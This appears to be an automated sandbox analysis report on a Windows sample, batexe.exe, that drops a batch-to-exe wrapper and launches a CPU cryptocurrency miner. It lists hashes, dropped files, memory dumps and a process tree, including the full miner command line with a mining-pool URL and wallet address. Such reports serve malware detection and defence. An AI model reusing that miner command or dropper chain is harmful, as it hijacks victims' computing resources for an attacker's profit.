73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 06:02

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1748	b2e.exe
3512	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3512	cpuminer-sse2.exe
3512	cpuminer-sse2.exe
3512	cpuminer-sse2.exe
3512	cpuminer-sse2.exe
3512	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2448-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 1748	2448	batexe.exe	75
PID 2448 wrote to memory of 1748	2448	batexe.exe	75
PID 2448 wrote to memory of 1748	2448	batexe.exe	75
PID 1748 wrote to memory of 1732	1748	b2e.exe	76
PID 1748 wrote to memory of 1732	1748	b2e.exe	76
PID 1748 wrote to memory of 1732	1748	b2e.exe	76
PID 1732 wrote to memory of 3512	1732	cmd.exe	79
PID 1732 wrote to memory of 3512	1732	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E94.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe

Filesize
832KB

MD5
e1bd95ac3f9c6ce43914de2a53967fee

SHA1
3e03982c075df051d5a8dd837f42873f30483faf

SHA256
45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

SHA512
2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe

Filesize
1.1MB

MD5
a43a8e689cd5eb2690d211c1d48e729a

SHA1
92acd696234142bf22c8b5f1c1af459f38dc3bf4

SHA256
de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

SHA512
d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

Download Submit
C:\Users\Admin\AppData\Local\Temp\8E94.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.2MB

MD5
5b9e4a3b6ee13f663fce383f16f15de9

SHA1
2cf8a0f42f07f4cc323eb999a92ce723da0b984e

SHA256
72f6831560a6e0d4569a0457804b4ad64f53a28c17da9952d488d806d2e15e88

SHA512
25385089b98f644a53d3c6dbd021e56631345fdc88f24d6c3444e833889a5ea560e0473b5e0fa87ff1910fb99889dbcd0c68e26698c3e68a52dd234db1640c61

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.4MB

MD5
52b1497db2e24ecccb453d4856e0e13e

SHA1
9b9c0e7850212455196c3d0d7e8e6907743d5746

SHA256
a0409ee92cda8d1ad1032af66699988b0bf12c28df981f95845fd57636533758

SHA512
261efff6ba86edad7fe50a9f911a6fecfbf125545610a5148ba44462ff237d2f7e6a0dea7e45bdab184d08cf4804b854243cd2499c313ba8d06174c0d850549b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.3MB

MD5
c0a3c3eca057ea9a1be92e865cdb57d6

SHA1
90e6c32f9b59c408dfc3367e2d7f668ec54fdabc

SHA256
64d77570a801a43431f6b4f921f5b1e81f9523bf1dae0ab2c50d60a5a47d0019

SHA512
801c7a69b2f75c0fb0e24c5b9b4d54ec6b90faa9c719eb493cb27a66b955f316d4795bd0d2501861cbf287eac07fd5c0ae6bdbf3101273f99a0e236254110690

Download Submit
memory/1748-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1748-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2448-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3512-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3512-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3512-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3512-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-42-0x0000000070100000-0x0000000070198000-memory.dmp

Filesize
608KB

Download
memory/3512-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3512-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download